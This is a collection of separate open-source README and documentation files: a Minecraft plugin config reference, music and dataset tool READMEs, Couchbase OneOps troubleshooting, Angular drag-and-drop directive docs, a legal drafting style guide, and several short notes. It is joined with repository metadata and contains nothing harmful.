- The 'slaptypes' section contains the name of each slap type.

The below list explains the fields within each section about a specific slap:
- The 'health' field is an integer that defines how much health to remove from a player.
- The 'worth' field is an integer that indicates by how much each players' field recording the amount of times it has been slapped will be incremented.
- The 'mustaccept' field is a boolean that indicates whether the player has to accept the slap or not.
- The 'permanent' field is a boolean that indicates whether the slap lasts until someone with the appropriate permission releases the player from it or not.
- The 'lightning' field is a boolean that indicates whether the player is stuck by lightning or not.
- The 'smoke' field is an integer that defines the radius of smoke produced by the slap ('0' disables smoke).
- The 'broadcast' message is the message broadcast when a player is slapped.
- The 'personal' message is the message sent to the player when the player is slapped.
- The 'death' message is the message broadcast if the slap kills the player.
- The 'mobs' field contains the case-sensitive name (as defined on this web-page: https://hub.spigotmc.org/javadocs/spigot/org/bukkit/entity/EntityType.html) and amount to spawn of each mob, in the form 'name: amount'.

### The 'players.yml' File:
An example 'players.yml' file is given below:

```YAML
players:
  UUID-here:
    username: genericusername
    exempt: false
    times: 5
    currentslap:
      mustaccept: false
      permanent: false
```

The only top-level field of the 'players.yml' is the 'players' field, which contains the UUID of each player. The UUID of each player forms a section containig the data about each player.

The below list explains the fields within the each UUID section:
- The 'username' field contains the username of the player.
- The 'exempt' field is a boolean that states whether the player is exempt from being slapped or not (this is a stronger form of protection than the *playerslap.noslap* permission).
- The 'times' field is an integer stating the cumulative value of the 'worth' field of each slap that the player has been slapped with.
- The 'mustaccept' field states whether the player needs to accept a slap or not.
- The 'permanent' field states whether the player is currently under a permanent slap or not.


text:
# ChoPy

[![PyPI](https://img.shields.io/pypi/v/ChoPy.svg?style=flat-square)]()

Goal: Swiss Army knife for coder-musicians.

## Current Todo

This project is just getting started. I plan to write this thing for fun over a long period of time.

- Musical object cores: efficient representation of musical primitives.
- Find a cross-platform library for playing sounds.

https://mdoege.github.io/PySynth/

https://wiki.python.org/moin/Audio/

## Capabilities

A music modeling tool. Representation for music primitives. e.g. individual tone, chord, and multi-track compositions. Operations on primitives: concatenation, superposition, transformation, importing and exporting as different concrete formats. These musical objects should be easy to

ChoPy aims at fast experiments and . The actual serious work should be done in your favorite DAW.

## The Name

Idea: a famous musician's name + conventional suffix "py". Chopin sounds just right.

repository: cPolaris/ChoPy

repo_name: cPolaris/ChoPy


text:
# duke -- Dataset Understanding via Knowledge-base Embeddings

1. First, you should download wiki2vec model (English Wikipedia) using a torrent as described on this link: https://github.com/idio/wiki2vec -- untar it at a preferred location and note it.

2. Clone this repository, open main.py in scripts/ subdirectory and modify embedding_path variable to the aforementioned wiki2vec model location.

3. Using python3.5+, pip3 install required libraries in requirements.txt.

4. pip install the program Duke as
```bash
pip3 install git+https://github.com/NewKnowledge/duke
```

5. Identify a dataset of interest, and specify its path in main.py (via dataset_path variable).

6. Finally, run it as follows, and enjoy the magic:

```bash
python3 main.py
```

repository: uncharted-distil/duke

repo_name: uncharted-distil/duke


text:
![Couchbase](Couchbase.png)

# Couchbase Component

Retain default values for Admin User (Administrator), Admin Password (password), and Bucket Data Path (/opt/couchbase/data).

Select Enterprise 3.0.3 version

**IMPORTANT**: Select Enterprise 3.0.3 version unless approved by the cache team.

The RAM quota percentage drop down allows you to control the percentage of physical RAM per node that can be allocated to Couchbase. Select 80%

Set Email Server Host, Sender email, and Email Recipients to receive Couchbase server alerts

![Full Screenshot](couchbase_full_screenshot.png)

# Validation Errors

The following errors are displayed in the OneOps logs when there is a problem with the cluster that prevents the action completing.

* [One or more nodes in the cluster are not active members](#1)
* [One or more nodes in the cluster are not healthy](#2)
* [Rebalance in progress](#3)
* [Bucket x is not part of the cluster](#4)
* [Auto-failover is not enabled](#5)
* [Rebalance is needed](#6)
* [Reset Quota is needed](#7)

##  One or more nodes in the cluster are not active members
A node has been failed over and needs to be added back into the cluster. Go to the admin console to add the inactive node back into the cluster.

##  One or more nodes in the cluster are not healthy
A node is down and needs to be restored. Go to the admin console for more details as well as OneOps to restore the node.

##  Rebalance in progress

A rebalance is currently taking place on the cluster; the rebalance needs to complete before the OneOps action can be executed. Go to the admin console and monitor the rebalance progress until it completes.

NOTE: The rebalance progress can take several minutes, even 30 mins, and may appear to be hung at times; DO NOT cancel the rebalance, it is still working. If the rebalance fails, you will see an error in the admin console.

##  Bucket <name> is not part of the cluster

The bucket that is being updated does not exist; likely because it was removed in the admin console but not in OneOps. Add the bucket back in to the cluster via the admin console or remove the bucket from OneOps.

##  Auto-failover is not enabled

auto-failover is disabled, go to oneops couchbase-cluster component and run action autofailover-enable

![autofailover](autofailover.png)

##  Rebalance is needed

Couchbase cluster indicates that a rebalance is required. There might be a failed over node. Go to the admin console to evaluate the reason for the rebalance and issue a rebalance if appropriate.

##  Reset Quota is needed

Couchbase cluster indicates that a reset quota is needed. A server was automatically failed over.

repository: PacktPublishing/Practical-OneOps

repo_name: PacktPublishing/Practical-OneOps


text:
# Angular Drag and Drop
**A Native ( without jquery ) Drag and Drop directive for AngularJS using HTML5 Drag and Drop**

---

##ui-draggable(expression)

Directive in module ang-drag-drop (since 1.0.5 - old module name ngDragDrop)

The ui-draggable attribute tells Angular that the element is draggable. ui-draggable takes an expression as the attribute value. The expression should evaluate to either true or false. You can toggle the draggability of an element using this expression.

###Additional Attributes

####_**drag**_(variable)

The class used to mark child elements of draggable object to be used as drag handle. Default class name is `drag-handle`

**NOTE**: If attribute is not present drag handle feature is not active.

####_**drag-handle-class**_(string)

The `drag` property is used to assign the data that needs to be passed along with the dragging element.

####_**on-drop-success**_(function)

The `on-drop-success` attribute takes a function. We can consider this to be an on-drop-success handler function. This can be useful if you need to do some post processing after the dragged element is dropped successfully on the drop site.

**NOTE**: This callback function is only called when the drop succeeds.
You can request the `drag-end` event ( very similiar to requesting the click event in `ng-click` ) by passing `$event` in the event handler.

####_**on-drop-failure**_(function)

The `on-drop-failure` attribute takes a function. We can consider this to be an on-drop-failure handler function. This can be useful if you need to do some post processing after the dragged element is dropped unsuccessfully on any drop site.

**NOTE**: This callback function is only called when the drop fails.
You can request the `drag-end` event ( very similiar to requesting the click event in `ng-click` ) by passing `$event` in the event handler.

####_**drag-channel**_(string)

The `on-drop-failure` attribute takes a function. We can consider this to be an on-drop-failure handler function. This can be useful if you need to do some post processing after the dragged element is dropped unsuccessfully on any drop site.

**NOTE**: This callback function is only called when the drop fails.
You can request the `drag-end` event ( very similiar to requesting the click event in `ng-click` ) by passing `$event` in the event handler.

###Usage

###Events

On start of dragging an Angular Event `ANGULAR_DRAG_START` is dispatched from the `$rootScope`. The event also carries carries the information about the channel in which the dragging has started.

On end of dragging an Angular Event `ANGULAR_DRAG_END` is dispatched from the `$rootScope`. The event also carries carries the information about the channel in which the dragging has started.

When hovering a draggable element on top of a drop area an Angular Event `ANGULAR_HOVER` is dispatched from the `$rootScope`. The event also carries the information about the channel in which the dragging has started.

---

##ui-on-drop(expression)

Directive in module ang-drag-drop (since 1.0.5 - old module name ngDragDrop)

The `ui-on-drop` attribute tells Angular that the element is a drop site. `ui-on-drop` takes a function as the attribute value. The function will be called when a valid dragged element is dropped in that location. A valid dragged element is one which has the same channel as the drop location.

**NOTE** : This callback function is only called when the drop succeeds.
The `ui-on-drop` callback can request additional parameters. The data that is dragged is available to the callback as $data and its channel as `$channel`. Apart from this the drop event is exposed as `$event`.

###Additional Attributes

####_**drop-channel**_(variable)

The channel that the drop site accepts. The dragged element should have the same channel as this drop site for it to be droppable at this location. It is possible to provide comma separated list of channels.

**NOTE**: Also special value of `drag-channel` attribute is available to accept dragged element with any channel value — *

####_**drop-validate**_(function)

Extra validation that makes sure that the drop site accepts the dragged element beyond having the same channel. If not defined, no extra validation is made.

**NOTE**: This callback function is called only if the channel condition is met, when the element starts being dragged

####_**drag-enter-class**_(string)

The class that will be added to the the droppable element when a dragged element ( which is droppable ) enters the drop location. The default value for this is `on-drag-enter`

####_**drag-hover-class**_(string)

The class that will be added to the drop area element when hovering with an element. The default value for this is `on-drag-hover`

###Usage

###Events

On start of dragging an Angular Event `ANGULAR_DRAG_START` is dispatched from the `$rootScope`. The event also carries carries the information about the channel in which the dragging has started.

On end of dragging an Angular Event `ANGULAR_DRAG_END` is dispatched from the `$rootScope`. The event also carries carries the information about the channel in which the dragging has started.

When hovering a draggable element on top of a drop area an Angular Event `ANGULAR_HOVER` is dispatched from the `$rootScope`. The event also carries the information about the channel in which the dragging has started.


text:
# [Style Guide](index.md) / Quick Tips

1. Sentence Pattern
    * CONDITION, PARTY MODAL VERB OBJECT. EXCEPTION (**NOTE**: Exception in next sentence)
    * Example:
      * **Original**: The Parent or Merger Sub shall, if the Offer Conditions have not been satisfied by any scheduled Expiration Date, and if permitted by law, rules, regulations, or interpretations, extend the Offer for successive periods of up to 10 business days’ until the Offer Conditions are satisfied or waived, except that the Parent and Merger Sub are not required to extend the Offer beyond the Outside Date.
      * **Desired Result**: If the Offer Conditions have not been satisfied by any scheduled Expiration Date, and an extension is permitted by law, rules, regulations, or interpretations, the Parent or Merger Sub shall extend the Offer for successive periods of up to 10 business days’ until the Offer Conditions are satisfied or waived. The Parent and Merger Sub are not required to extend the Offer beyond the Outside Date.

2. Active Voice
    * Never use passive voice.

3. Break up paragraphs into subclauses
    * General rule of thumb is that each “idea” in a paragraph has its own captioned subclause
    * Example:
      * **Original**:

        1 **The Offer**. The Parent shall, promptly after the date of this agreement and no later than [LATEST ACCEPTABLE OFFER DATE], cause the Merger Sub to commence (as understood under the Exchange Act) the Offer to purchase for cash all Company Shares at the Offer Price. The Merger Sub shall accept and pay for all Company Shares validly tendered and not validly withdrawn pursuant to the Offer, promptly after the Expiration Date, or as soon as possible following the tender of those Company Shares and satisfaction of the Offer Conditions.

      * **Desired Result**:

        1 **The Offer**

           1.1 **Parent and Merger Sub Offer Obligation**. Promptly after the date of this agreement and no later than [LATEST ACCEPTABLE OFFER DATE], the Parent shall cause the Merger Sub to commence (as understood under the Exchange Act) the Offer to purchase for cash all Company Shares at the Offer Price.

           1.2 **Merger Sub’s Acceptance and Payment Obligation**. The Merger Sub shall accept and pay for all Company Shares validly tendered and not validly withdrawn pursuant to the Offer, promptly after the Expiration Date, or as soon as possible following the tender of those Company Shares and satisfaction of the Offer Conditions.

4. Headings
   * Always have headings for substantive clauses. “Substantive Clauses” are those with a distinct obligation, right, restriction, or other legal statement. You do not need to have headings for sub-items that are just lists.
   * Headings should be
      * Descriptive and specific (e.g., if clause relates to compliance with export laws, say “Compliance with Export Laws” and not “Compliance with Laws”),
      * Unique (never repeat a heading), and
      * Short (keeping the above two items in mind, make headings as short as possible).

5. Definitions
   * Definitions placement is a function of that definition’s scope. Is the definition used throughout the document or only in a specific clause?
   * If the definition is used throughout the document, place definition in the document’s “Definitions” section.
   * If the definition is only used in a specific clause, create a “Definitions” subclause in that section to define that term OR define them inline.

6. Capitalization
   * Every capitalized word or phrase should be defined somewhere in the document.
   * Do not capitalize obvious terms.
      * We want to avoid circular definitions.
      * For example, “this agreement” does not need to be capitalized. It is fairly obvious that you are referring to the document. You do not need to define “Agreement” in the document. Even if you did, what would the definition be? “‘Agreement’ means this agreement”? That is a circular definition.
      * If you are referring to another agreement, like “the Master Agreement” in an SOW, you can capitalize that.
   * Terms that generally do not need to be capitalized:
      * This agreement
      * The parties


text:
# brick
"Being a human means having limits. The more carefully you scheme, the more unexpected cost of time comes along."

Brick is a text insertion program mainly for CSCE629's Latex homework.

The program read an .tex file and generate a template to save you some time.

You can add stuffs to the template.txt to DIY your template in a certain degree.

There are several design drawbacks needed to be done, like keyward detection function is not sufficient for solution template insertion.

# how to use
If you are using an IDE, make sure the PATH constant in program is corrent.

Other than that, put your homework, the program and template into the same directory first.

Run the program.
  One way to do that is: using `javac brick`  and `java brick` in terminal.

repository: Rutatto/brick

repo_name: Rutatto/brick


text:
---
layout: post
title: "RNN"
date: 2018-11-12
categories: [Study notes]
tags: [CNN, class models]
---

### NLP task: Predicting the next word.
#### NLP vs Computer vision
- number of classes(computer vision has less clasess)
- all images have same sizes
- sentences have different sizes
#### PTB dataset
- Penn Tree Bank corpus

gha_language: CSS

gha_license_id: NOASSERTION


text:
# locate

`locate` finds files by name.
`updatedb` is used to create a database with all filenames.
This database makes `locate` very fast.

<!--more-->

| distribution | package name       |
| ------------ | ------------------ |
| gentoo       | `sys-apps/mlocate` |

repository: enter-haken/book

gha_language: HTML

repo_name: enter-haken/book


text:
# [Servers](@id servers_header)
`DFControl` is structure as a client-server architecture where the communication happens through a rest-API. This means that
on the server-side a small daemon will run that the client will communicate with in order to `load`, `save` and `submit` [`Jobs`](@ref Job).
There are three ways to set up a server. To setup a local server, simply call [`Servers.configure_local`](@ref) and follow the prompt. A [`Server`](@ref) can also be setup by calling the constructor with a `String` that signifies the name of the [`Server`](@ref), e.g. `"localhost"`, or an `ssh` string such as `"user@domain"`, which will prompt an interactive setup menu.

Alternatively, for full customization, a [`Server`](@ref) can be set up by filling out the constructor, and saving it as `save(server)`.
A previously saved [`Server`](@ref) can be loaded again through e.g. `Server("localhost")` which will retrieve the previously saved
configuration.
```@docs
Server
Servers.configure_local
start
save(::Server)
```

gha_language: Julia


text:
---
date: 2020-12-08T08:44:30-04:00
description: "Overview of the Apache Software Foundation (ASF)"
tags: [ "open-source-orgs", "nonprofits" ]
title: "Apache Software Foundation (ASF)"
---

# Apache Software Foundation (ASF)

The [**Apache Software Foundation**](https://www.apache.org/) is a nonprofit corporation that fosters a set of [open-source](open-source.md) projects under an [Apache License](http://apache.org/licenses/) through a merit-based process known as The Apache Way.

## Resources

* [Apache Community](https://community.apache.org/)
* [Apache License 2.0](http://apache.org/licenses/LICENSE-2.0)
* [The Apache Way](http://www.apache.org/theapacheway/)

gha_language: TypeScript